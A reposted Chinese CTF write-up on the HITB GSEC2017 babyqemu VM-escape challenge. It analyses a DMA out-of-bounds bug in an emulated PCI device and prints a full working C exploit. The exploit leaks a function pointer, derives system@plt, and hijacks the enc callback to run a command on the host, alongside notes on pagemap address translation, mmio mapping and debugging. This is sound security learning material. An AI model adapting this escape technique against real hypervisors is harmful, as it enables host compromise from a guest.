2

QEMU 逃逸 潦草笔记

 1 year ago
source link: https://xuanxuanblingbling.github.io/ctf/pwn/2022/06/09/qemu/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

通过HITB GSEC2017 babyqemu理解qemu逃逸,简化了地址转换函数,更新中…

主要是打实现在qemu进程中的PCI设备:

x86的低速外设应该由南桥来管理,不过随着时代的发展相关技术架构也在变化:

x86 CPU访问io端口的编号部分是定死的,应该是实现在CPU上,可以通过查看CPU的datasheet确定一些编号:

例如A20地址线的0x92端口,其实已经废弃了:

有关于地址转换:

有关于qemu内存:

HITB GSEC2017 babyqemu

附件 babyqemu.tar.gz,ubuntu 18.04 可以正常sudo apt install libcurl3,本题才可正常启动

漏洞发生在hitb_dma_timer函数中,在进行dma buf内存拷贝操作时,没有对客户机传来的dma buf内存地址进行检查,导致可以越界读写dma buf。其对应的内存就是qemu进程中的一片内存(不在客户机可直接访问的连续内存中),并且在buf后跟了一个函数指针enc,所以通过读写此函数指针即可完成qemu进程的地址信息泄露以及控制流劫持。

值得注意的是,在本题中,qemu模拟的dma buf的物理地址0x40000是个假地址,即真正的客户机物理地址0x40000对应的就在正常内存(-m 64M)中,而这个虚假的0x40000只有在通过题目设备hitb的mmio进行对dma参数设置的时候才有用。

image

cpu_physical_memory_rw函数原型为:

void cpu_physical_memory_rw(hwaddr addr, uint8_t *buf,int len, int is_write);

这个函数的内存视角有两个:hwaddr是客户机的物理地址,buf是qemu自身的虚拟地址。值得注意的是,is_write是相对与第一个参数即客户机的物理地址来说的:

  • is_write为1,写物理内存,即读buf
  • is_write为0,读物理内存,即写buf

在题目中,buf (cnt_low,v6)就是qemu的dma buf(通过buf基址以及虚假的0x40000等地址计算而来),而opaque->dma.dst、opaque->dma.src是我们可控的客户机的物理地址,所以我们的越界读写是相对于dma buf来说的。自己写了一遍exp,可弹计算器,为了便于理解对一些代码做出了简化调整:

  • 简化了地址转换
  • 全局变量只留一个mmio的交互地址
  • mmio交互使用/dev/mem直接映射物理地址
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sys/mman.h>

void * mmio;

void mmio_write(uint32_t addr, uint32_t value){
    *(uint32_t *)(mmio + addr) = value;
}

uint64_t gva2gpa(void * addr){
    uint64_t page;
    int fd = open("/proc/self/pagemap",0);
    lseek(fd,((uint64_t)addr >> 12 << 3),0);
    read(fd,&page,8);
    return ((page & 0x7fffffffffffff) << 12 ) | ((uint64_t)addr & 0xfff);
}

void set_dma_cpy(uint32_t dst, uint32_t src, uint32_t len){
    mmio_write(0x88,dst);
    mmio_write(0x80,src);
    mmio_write(0x90,len);
}

void copy_to_dma(uint32_t dma,void * src, uint32_t len){
    set_dma_cpy(dma+0x40000,gva2gpa(src),len);
    mmio_write(0x98,1);sleep(1);
}

void copy_from_dma(void * dst,uint32_t dma, uint32_t len){
    set_dma_cpy(gva2gpa(dst),dma+0x40000,len);
    mmio_write(0x98,1|2);sleep(1);
}

void dma_enc(uint32_t dma, uint32_t len){
    set_dma_cpy(0,dma+0x40000,len);
    mmio_write(0x98,1|2|4);
}

int main(){
    mmio = mmap(0,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED, open("/dev/mem",2),0xfea00000);
    
    uint64_t leak_enc;
    copy_from_dma(&leak_enc,0x1000,8);

    uint64_t system_plt  = leak_enc  - 0x283DD0 + 0x1FDB18;
    
    char * cmd = "gnome-calculator;";
    copy_to_dma(0x200,cmd,strlen(cmd));
    copy_to_dma(0x1000,&system_plt,8);
    dma_enc(0x200,0);
}
➜  gcc exp.c -static -o exp
➜  find . | cpio -H newc -o > ../../rootfs.cpio

可见,漏洞利用过程没用上读mmio,但是如果没有读取信息,怎么可能泄露qemu进行的地址信息呢?答案是:mmio并不是和目标代码交互的唯一信道:

  • 我们通过mmio将leak_enc的物理地址送给了漏洞代码使用
  • 漏洞代码获得leak_enc的地址信息后,将数据写入其中
  • 待漏洞代码写操作结束后,用户代码读取leak_enc内存即可

可以自己体会整个攻击过程的内存交互过程,理清(谁)读写了(什么视角)位于(什么地址)的内存。体会完了一个我自己的感想:如果把qemu逃逸的漏洞对应到真实设备上,则可能打的是某一个PCI外设,如果想打出来PCI外设的代码执行,分析难度固然要比分析qemu这个用户态程序难的多,并且最终漏洞的影响也未必很严重。但是当把这个逻辑实现在qemu中并且存在漏洞,则由于虚拟化导致这变成了虚拟机逃逸,漏洞瞬间变严重,挺有意思。之前认为打PCI外设应该干不了啥,但今天做完题突然想到,PCI外设可以对物理地址进行直接访存,所以如果打出PCI外设的代码执行,则一样有可能控制更多的物理内存,最终完成主机上的漏洞利用。

在qemu逃逸的exp中,一般都有个将用户态虚拟地址转换为物理地址的函数。首先,需要这么个函数的原因是:用户态程序直接与PCI外设交互时,PCI外设需要通过物理地址访问一片用户态程序的内存,并且由于是直接交互,内核不经手,所以没人帮我们转换地址,因此要自行转换。

但用户态程序与PCI外设进行mmio进行交互的过程本身,只需要mmap出一片内存,所以在用户态程序的视角下,不需要显式的物理地址参与。如果二者交互的所有信息都仅通过mmio这片内存进行中转,那就彻底不需要什么地址转换了。但很遗憾,PCI外设不是这么用的,看看PCI真实的设备都有什么吧!显卡,网卡,声卡,这些外设必然要和我们的程序进行大量的数据交互,所以mmio这一小片内存多用于设置参数、控制命令等,可以将mmio的功能理解为关键信息的中转站、通信自举过程的第一个信道,而真正的交互buf内存需要用户程序另开一片,因此这个交互buf的地址信息就通过mmio这一小片内存传递给PCI外设,PCI外设通过buf的物理地址对其进行读写操作,当外设操作完成时,想办法通知用户态程序即可。

因此,不是所有的qemu逃逸题目都需要这么个地址转换函数。如果在针对PCI设备的qemu逃逸题目中,出现了进行手工转换的物理地址,那么这个地址最终应该出现在与PCI外设交互的数据中。如本题exp中,只在设置dma参数中使用了地址转换函数:用户态程序将用户空间的虚拟地址转成物理地址并通过对mmap出来的mmio内存进行写操作,设置给dma。

void set_dma_cpy(uint32_t dst, uint32_t src, uint32_t len){
    mmio_write(0x88,dst);
    mmio_write(0x80,src);
    mmio_write(0x90,len);
}

void copy_to_dma(uint32_t dma,void * src, uint32_t len){
    set_dma_cpy(dma+0x40000,gva2gpa(src),len);
    mmio_write(0x98,1);sleep(1);
}

void copy_from_dma(void * dst,uint32_t dma, uint32_t len){
    set_dma_cpy(gva2gpa(dst),dma+0x40000,len);
    mmio_write(0x98,1|2);sleep(1);
}

地址转换的原理很简单:用户态进程如何得到虚拟地址对应的物理地址?,简单来说就是linux直接给用户态进程留了个接口文件:/proc/self/pagemap,然后用你想转换的地址信息作为偏移去读这个文件就行了,可以理解为查表。不过需要注意,每个表项的大小为8字节,所以地址信息作为偏移需要乘8。但在qemu逃逸的exp中,前人的地址转换很令人费解,尤其是((uintptr_t)addr » 9) & ~7 这句,怎么也想不明白为啥出来个9:

#define PAGE_SHIFT  12
#define PAGE_SIZE   (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN     ((1ull << 55) - 1)

uint64_t gva_to_gfn(void *addr)
{
    uint64_t pme, gfn;
    size_t offset;

    int fd = open("/proc/self/pagemap", O_RDONLY);
    if (fd < 0) {
        die("open pagemap");
    }
    offset = ((uintptr_t)addr >> 9) & ~7;
    lseek(fd, offset, SEEK_SET);
    read(fd, &pme, 8);
    if (!(pme & PFN_PRESENT))
        return -1;
    gfn = pme & PFN_PFN;
    return gfn;
}

uint64_t gva_to_gpa(void *addr)
{
    uint64_t gfn = gva_to_gfn(addr);
    assert(gfn != -1);
    return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}

通过getconf可以确定页大小,确实是4k,那页内偏移显然是占了12位,哪来的9?

# getconf PAGESIZE
4096

后来发现VM escape 之 QEMU Case Study这篇文章说明白了,因为/proc/self/pagemap表项的大小是8字节,所以右移12位的地址作为查找索引,还要乘8,即2的3次方。因此就是12-3=9,是两步合成一步写了…至于& ~7也是由于合成一步写的处理。我不知道这种写法除了令人费解以外,还有什么价值。至少在漏洞利用的情景下,就是个简单的查表,不需要考虑效率,因此修改:

uint64_t gva2gpa(void * addr){
    uint64_t page;
    int fd = open("/proc/self/pagemap",0);
    lseek(fd,((uint64_t)addr >> 12 << 3),0);
    read(fd,&page,8);
    return ((page & 0x7fffffffffffff) << 12 ) | ((uint64_t)addr & 0xfff);
}

煜博多年前写过:

除了常见的使用resource0这种文件映射到内存交互:

int    mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
void * mmio    = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);

还可以直接使用/dev/mem文件,映射物理内存,物理内存地址可以由config、或resource文件的得到:

void * mmio    = mmap(0,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED, open("/dev/mem",2),0xfea00000);

/*
# cat /sys/devices/pci0000\:00/0000\:00\:04.0/resource
0x00000000fea00000 0x00000000feafffff 0x0000000000040200

# cat /sys/devices/pci0000\:00/0000\:00\:04.0/config | hexdump -C
00000000  34 12 33 23 03 01 10 00  10 00 ff 00 00 00 00 00  |4.3#............|
00000010  00 00 a0 fe 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*/

两种方式均可,但无论那种方式,在mmap时均须映射为可读写:PROT_READ(1) | PROT_WRITE(2),共享:MAP_SHARED(1)的内存。从原理上来看,二者都是在用户的地址空间里,映射了一片内存,这片内存最终对应为物理地址0xfea00000,只是使用的linux接口不同。但如果你将mmio映射出来用户空间的地址,送进我们的地址转换函数,结果会是空的,无法查出来对应的0xfea00000:

#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <inttypes.h>
#include <unistd.h>

uint64_t gva2gpa(void * addr){
    uint64_t page;
    int fd = open("/proc/self/pagemap",0);
    lseek(fd,((uint64_t)addr >> 12 << 3),0);
    read(fd,&page,8);
    return ((page & 0x7fffffffffffff) << 12 ) | ((uint64_t)addr & 0xfff);
}

int main(){
    void * mmio_mem   = mmap(0,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED, open("/dev/mem",2),0xfea00000);
    printf("[+] gva: mmio mem from /dev/mem: %p\n", mmio_mem);
    printf("[+] gpa: mmio mem from /dev/mem: %p\n", (void *)gva2gpa(mmio_mem));

    int    mmio_fd    = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    void * mmio       = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    printf("[+] gva: mmio mem from resource0: %p\n", mmio);
    printf("[+] gpa: mmio mem from resource0: %p\n", (void *)gva2gpa(mmio));
}

执行结果:

# ./exp
[+] gva: mmio mem from /dev/mem: 0x7f3457277000
[+] gpa: mmio mem from /dev/mem: (nil)
[+] gva: mmio mem from resource0: 0x7f3457276000
[+] gpa: mmio mem from resource0: (nil)

这应该是linux内核提供的/proc/self/pagemap接口并没实现对外设物理地址的查找,可能因为这并是不一片真正的物理内存,内核对这片外设内存的处理可能与普通内存不同,但提供的/dev/mem接口的确可以将外设的物理地址映射到用户空间。所以别看外设和内存都对应着一个物理地址,但是在使用以及处理过程中会有细节的差异。另外经过尝试用dd直接操作/dev/mem访问mmio也不是很好用。

本题有符号,可以发现,这个设备就是照着qemu的示例PCI设备edu改的,因此可以对照参考。

IDA处理

由于有符号,也很容易发现处理函数,所以在IDA中只需做简单处理即可,主要是对于几个函数的参数的结构体识别。其中三个关键函数hitb_mmio_read、hitb_mmio_write、hitb_dma_timer的参数均为void *,但根据edu.c,在函数的开头都会将指针转换为对应设备的结构体指针:

static uint64_t edu_mmio_read(void *opaque, hwaddr addr, unsigned size)
{
    EduState *edu = opaque;
    ...
}

但在IDA的Structures窗口中并不能搜索出有关Hitb的结构体,处理方法是在IDA的Local Types窗口中搜索到HitbState结构体并双击,即可导入到Structures中。原因是源码中对于这个结构体是通过typedef struct定义的,所以IDA将其识别在了Local Types中。之后即可将关键函数的参数opaque,通过右键Convert to struct *,设置为HitbState结构体的指针类型。

然后就是对qemu代码的理解了,如果没调试符号,就麻烦了,从识别漏洞函数,到分析漏洞,再到调试,就会需要导入符号,对比二进制,逆向结构体等处理,这会很麻烦。之后再搞。逆向过程里,主要写两点我关注的。

timer相关

hitb_dma_timer函数为什么要通过time_mod来触发?我一直以为timer,timer,timer,就是等一会就自动调用的。后来通过调试打断点,发现如果无操作的确断不到这个函数,所以的确是需要time_mod主动触发的,那怎么理解这个过程呢?timer相关函数实现于:https://elixir.bootlin.com/qemu/v2.9.0-rc5/source/util/qemu-timer.c

对照timer函数源码,在pci_hitb_realize中分析timer_init_tl函数(新版本qemu已改为timer_init)。可见hitb_dma_timer被赋给了cb,scale的单位是ns,所以1000000ns就是1ms,而expire_time超时时间被设置成了-1,推测为永不过时。

/*
void timer_init_tl(QEMUTimer *ts,
                   QEMUTimerList *timer_list, int scale,
                   QEMUTimerCB *cb, void *opaque)
{
    ts->timer_list = timer_list;
    ts->cb = cb;
    ts->opaque = opaque;
    ts->scale = scale;
    ts->expire_time = -1;
}
*/
timer_init_tl((QEMUTimer_0 *)&pdev[1].io_regions[4], main_loop_tlg.tl[1], 1000000, hitb_dma_timer, pdev);

而timer_mod第二个参数是expire_time,所以timer_mod这个mod应该是modify,修改的是超时时间:

/*
void timer_mod(QEMUTimer *ts, int64_t expire_time)
{
    timer_mod_ns(ts, expire_time * ts->scale);
}
*/
ns = qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL_0);
timer_mod(&opaque->dma_timer, ns / 1000000 + 100);

所以hitb_mmio_write中的timer_mod就是将超时时间设置成了当前时间+100,单位为ms,因此也就是0.1s后。那推测当执行完这句timer_mod的0.1s后,qemu会开始调用hitb_dma_timer。所以对于这个timer的理解,不是自动调用的,而是每个timer函数对应一个超时时间,如果想多次调用就要多次修改超时时间。

uint32_t相关

首先这是我第一次认真的使用uint32_t,uint64_t等typedef,之前一直用long long这种朴素原生的方法,uint64_t这种定义存在于头文件stdint.h中,也可以使用inttypes.h,二者区别为:difference between stdint.h and inttypes.h

可以在exp中看到在对mmio写入时,使用地址强转成了(uint32_t *),即一次性写入4字节。如果将exp中直接改成一次性写入8字节,则会利用失败。通过调试可以发现问题原因,如果一次性写入8字节,则hitb_mmio_write函数会被调用两次,每次写4个字节,并且写入的目标地址也会自动加4。但hitb_mmio_write中写入的赋值语句却是8字节:

/*
typedef uint64_t dma_addr_t
typedef struct {
    dma_addr_t src;
    dma_addr_t dst;
    dma_addr_t cnt;
    dma_addr_t cmd;
} dma_state
*/

*(dma_addr_t *)((char *)&opaque->dma.dst + 4) = val;
...
opaque->dma.dst = val;
...

这导致第二次写入时,会覆盖dma结构体下一个成员4个字节,这也就是CTF QEMU 虚拟机逃逸之HITB-GSEC-2017-babyqemu提到的坑点。所以解决办法有两种:

  • 严格按照dma结构体顺序依次写入
  • 每次只对mmio写四个字节,然后在hitb_mmio_write中会自动扩展为8个字节的写

推测这个8个字节拆分成两次的是老版本的bug,新版本中的edu设备有如下代码,看起来避免了这种现象:

https://github.com/qemu/qemu/blob/v7.0.0/hw/misc/edu.c

static const MemoryRegionOps edu_mmio_ops = {
    .read = edu_mmio_read,
    .write = edu_mmio_write,
    .endianness = DEVICE_NATIVE_ENDIAN,
    .valid = {
        .min_access_size = 4,
        .max_access_size = 8,
    },
    .impl = {
        .min_access_size = 4,
        .max_access_size = 8,
    },

};

所以在qemu中可以理解为hitb_mmio_read与hitb_mmio_write两个函数对mmio这篇内存进行了hook,当guest代码对mmio内存进行读写时,访存操作将会被这俩函数所劫持。从原理上来看,在真实设备上,mmio这片内存是用户态代码与PCI外设通信的桥梁,当用户往mmio写了一些东西之后,PCI设备必然要对这片内存进行解析,反之亦然。所以qemu就直接将这片内存的读写hook住,然后实现模拟设备的业务逻辑。因此从原理上来看,mmio这片内存看起来在qemu中都不用真实分配,直接有对应的read,write函数实现内存读写,数据解析即可。至于到底在qemu进程中分没分配这片内存,可以参考Qemu 虚拟机内存初始化源码分析,我暂时没进行探索。

可以直接使用gdb拉起qemu进程,去掉随机化的影响。

➜  cat gdb.cmd 
set args \
-initrd ./rootfs.cpio \
-kernel ./vmlinuz-4.8.0-52-generic \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \
-monitor /dev/null \
-m 64M --nographic \
-L pc-bios  \
-device hitb,id=vda
➜  gdb ./qemu-system-x86_64 -x gdb.cmd

本题有符号,可以在gdb中调试方便,使用info types确认结构体定义存在:

pwndbg> info types HitbState
All types matching regular expression "HitbState":

File /mnt/hgfs/eadom/workspcae/projects/hitbctf2017/babyqemu/qemu/hw/misc/hitb.c:
typedef struct {
    PCIDevice pdev;
    MemoryRegion mmio;
    QemuThread thread;
    QemuMutex thr_mutex;
    QemuCond thr_cond;
    _Bool stopping;
    uint32_t addr4;
    uint32_t fact;
    uint32_t status;
    uint32_t irq_status;
    struct dma_state dma;
    QEMUTimer dma_timer;
    char dma_buf[4096];
    void (*enc)(char *, unsigned int);
    uint64_t dma_mask;
} HitbState;

但要注意,HitbState是由typedef struct声明的,所以在查看对应结构体时不用在前添加struct:

pwndbg> p *((struct HitbState *)(0x555558757fe0))
No struct type named HitbState.

直接使用HitbState即可:

pwndbg> p *((HitbState *)(0x555558757fe0))

如果打印结果太长而只想查看结构体中的部分成员可以使用如下方式:

pwndbg> set $a = *((HitbState *)(0x555558757fe0))
pwndbg> p /x $a.dma 
$20 = {
  src = 0x41000, 
  dst = 0x20ed478, 
  cnt = 0x8, 
  cmd = 0x3
}

Recommend

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK